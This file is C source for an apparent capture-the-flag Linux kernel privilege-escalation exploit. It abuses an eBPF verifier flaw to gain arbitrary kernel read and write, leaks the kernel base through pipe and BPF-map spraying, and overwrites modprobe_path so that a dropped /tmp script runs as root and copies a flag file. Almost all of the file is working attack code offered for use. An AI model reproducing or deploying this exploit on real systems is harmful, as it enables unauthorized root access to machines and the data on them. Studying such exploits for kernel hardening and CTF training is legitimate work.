1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507
|
#define _GNU_SOURCE
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/wait.h> #include <linux/keyctl.h> #include <sys/user.h> #include <sys/ptrace.h> #include <stddef.h> #include <sys/utsname.h> #include <stdbool.h> #include <sys/prctl.h> #include <sys/resource.h> #include <linux/userfaultfd.h> #include <sys/socket.h> #include <asm/ldt.h> #include <linux/if_packet.h> #include <linux/bpf.h> #include <bpf/libbpf.h> #include <linux/bpf_common.h> #include <linux/if_alg.h> #include "bpf_insn.h"
int sockets[2]; int map_fd1; int map_fd2; int prog_fd; uint32_t key; uint64_t* value1; uint64_t* value2; char trigger_buf[0x2000]; int64_t buf[0x2000/8] = { 0 };
#define BPF_VICTIM_READ_BY_ADDRESS 0xbeef #define BPF_VICTIM_WRITE_BY_ADDRESS 0xdeaf #define BPF_VICTIM_READ_BY_2BYTES 0xdead
#define MAX_PIPE_COUNT 0x20 int pipe_fd[MAX_PIPE_COUNT][2];
void spray_pipes(int start, int cnt) { char *buf[0x1000] = { 0 }; printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);
for (int i = start; i < cnt; ++i) { if (pipe(pipe_fd[i]) < 0) { perror("create pipe"); exit(0); } } }
void pipes_resize(){ puts("[*] pipe buffer resize"); for(int i = 0; i < MAX_PIPE_COUNT; i++){ if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 128) < 0) { perror("resize pipe"); exit(0); } } }
void pipe_buffer_init(){ puts("[*] pipe buffer init"); for (int i = 0; i < MAX_PIPE_COUNT; ++i) { uint32_t k = i; write(pipe_fd[i][1], "writesth", 8); write(pipe_fd[i][1], "Qanux", 8); write(pipe_fd[i][1], &k, sizeof(uint32_t)); } }
void err_exit(char *msg){ printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } void info(char *msg){ printf("\033[34m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value){ printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
void bind_core(int core){ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
int trigger_modprobe(){ struct sockaddr_alg sa;
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (alg_fd < 0) { perror("socket(AF_ALG) failed"); return 1; }
memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; strcpy((char *)sa.salg_type, "Qanux"); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); return 1; }
void get_root_flag(void){ char buf[0x30]; memset(buf, 0, sizeof(buf)); puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag\ncat /flag.txt' > /tmp/x"); system("chmod +x /tmp/x");
trigger_modprobe(0);
int fd = open("/tmp/flag", O_RDONLY); if (fd < 0) { puts("[-] Lose..."); } else { read(fd, buf, 0x30); printf("[+] flag: %s", buf); } }
static inline int bpf(int cmd, union bpf_attr *attr){ return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, .inner_map_fd = fd, };
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); if (map_fd < 0) { return -1; } return map_fd; }
static __always_inline int bpf_map_lookup_elem(int map_fd, const void* key, void* value){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
static __always_inline int bpf_map_delete_elem(int map_fd, const void* key){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, }; return bpf(BPF_MAP_DELETE_ELEM, &attr); }
static __always_inline int bpf_map_get_next_key(int map_fd, const void* key, void* next_key){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .next_key = (uint64_t)next_key, }; return bpf(BPF_MAP_GET_NEXT_KEY, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd){ struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info, }; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
#define LOG_BUF_SIZE 65536 char bpf_log_buf[LOG_BUF_SIZE]; int bpf_prog_load6(enum bpf_prog_type type, const struct bpf_insn *insns, int insn_cnt, const char *license) { union bpf_attr attr = { .prog_type = type, .insns = (size_t)(insns), .insn_cnt = insn_cnt, .license = (size_t)(license), .log_buf = (size_t)(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, };
return syscall(SYS_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } struct bpf_insn prog[] = { BPF_MOV64_REG(BPF_REG_7, BPF_REG_1), BPF_LD_MAP_FD(BPF_REG_1, 83), BPF_MOV64_IMM(BPF_REG_6, 0), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
BPF_LD_MAP_FD(BPF_REG_1, 84), BPF_MOV64_IMM(BPF_REG_5, 0), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -8), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8),
BPF_MOV32_IMM(BPF_REG_6, 0x2), BPF_ALU32_IMM(224, BPF_REG_6, 31), BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 0x1),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 0), BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0xdead, 2), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 2), BPF_JMP_IMM(BPF_JEQ, BPF_REG_5, 0xdead, 1), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 8),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), BPF_MOV64_IMM(BPF_REG_2, 0), BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16), BPF_MOV64_IMM(BPF_REG_4, 8), BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_10, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0), BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdead, 4), BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xbeef, 3), BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 8), BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_5, 0), BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdeef, 2), BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_9, 0), BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_5, 0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), };
union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &prog, .insn_cnt = sizeof(prog) / sizeof(prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = LOG_BUF_SIZE, };
void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
bind_core(0); save_status();
FILE *file; const char *filename = "/tmp/elf";
file = fopen(filename, "w"); if (file == NULL) { perror("Error opening file"); return 1; } fclose(file); }
void trigger() { write(sockets[0], trigger_buf, 0x100); }
#define VALUE_SIZE 0x1000 int spray_bpf_fd[0x10]; void spray_bpf_map(){ puts("[*] spray bpf map."); uint64_t *value = (uint64_t*)calloc(VALUE_SIZE, 1); for(int i = 0; i < 0x10; i++){ spray_bpf_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1); if (spray_bpf_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE"); }
free(value); }
void prep() { puts("[*] prepare bpf map"); value1 = (uint64_t*)calloc(VALUE_SIZE, 1); value2 = (uint64_t*)calloc(VALUE_SIZE, 1); prctl(PR_SET_NAME, "Qanux");
map_fd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1); if (map_fd1 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE"); printf("[+] map fd1: %d \n", map_fd1);
map_fd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1); if (map_fd2 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE"); printf("[+] map fd2: %d \n", map_fd2);
prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()"), err_exit("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()"); }
size_t leak_data(size_t address){ value2[0] = BPF_VICTIM_READ_BY_ADDRESS; value2[1] = 0; bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY); *(uint64_t *)(trigger_buf + 8) = address - 0x18; trigger(); memset(buf, 0, sizeof(buf)); bpf_map_lookup_elem(map_fd2, &key, buf); return *(uint64_t*)buf; }
size_t leak_data_by_2bytes(int bytes){ value2[0] = BPF_VICTIM_READ_BY_2BYTES; bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY); trigger_buf[8+1] = bytes; trigger(); memset(buf, 0, sizeof(buf)); bpf_map_lookup_elem(map_fd2, &key, buf); return *(uint64_t*)buf; }
void data_wirte(size_t address, size_t data){ value2[0] = BPF_VICTIM_WRITE_BY_ADDRESS; value2[1] = data; bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY); *(uint64_t *)(trigger_buf + 8) = address; trigger(); }
int main(int argc, char** argv, char** env) { init(); spray_pipes(0, MAX_PIPE_COUNT); spray_bpf_map(); prep(); pipes_resize();
pipe_buffer_init();
memset(trigger_buf, 'A', sizeof(trigger_buf)); value2[0] = BPF_VICTIM_READ_BY_2BYTES; bpf_map_update_elem(map_fd1, &key, value1, BPF_ANY); bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
size_t pipe_ops = -1; int victim_index = 0; puts("[*] leak kernel addrss"); for (int i = 0; i < 0x8; i++) { int is_map = 1; trigger_buf[8] = '\x10'; bpf_map_lookup_elem(map_fd2, &key, buf); uint64_t data = leak_data_by_2bytes(i*0x20); if ((data & 0xffffffff00000000) == (0xffffffff00000000)){ is_map = 0; if(pipe_ops == -1){ pipe_ops = data; victim_index = i*0x10; } }
if(is_map){ printf("[+] page %d (bpf_array):\n", i); } else if((data & 0xffffffff00000000) == (0xffffffff00000000)){ printf("[+] page %d (pipe_buffer):\n", i); }
trigger_buf[8] = '\x00'; printf("0x00: %-016llx ; ", leak_data_by_2bytes(i*0x20)); trigger_buf[8] = '\x08'; printf("0x08: %-016llx ; ", leak_data_by_2bytes(i*0x20)); trigger_buf[8] = '\x10'; printf("0x10: %-016llx ; ", leak_data_by_2bytes(i*0x20)); trigger_buf[8] = '\x18'; printf("0x18: %-016llx\n", leak_data_by_2bytes(i*0x20)); } if (pipe_ops == -1) err_exit("FAILED to leak kernel address");
hexx("pipe buffer ops", pipe_ops); printf("[+] pipe buffer ops idx: %d \n", victim_index);
size_t kernel_base = pipe_ops - 0x142c580; hexx("kernel base", kernel_base); size_t modprobe = pipe_ops + 0xf1c820; hexx("modprobe", modprobe);
data_wirte(modprobe, 0x782f706d742f); puts("[*] write /tmp/x to modprobe");
get_root_flag();
puts("[+] EXP END.");
return 0; }
|